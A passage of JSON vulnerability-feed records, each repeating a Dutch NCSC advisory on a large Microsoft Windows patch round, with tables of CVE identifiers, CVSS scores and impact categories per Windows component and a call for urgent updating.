gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "4ec04e09-dd16-4268-bb68-2c2061b50615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48578", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "f9dc69ca-bbd1-4ca1-ab2c-ae87df819032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48565", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang 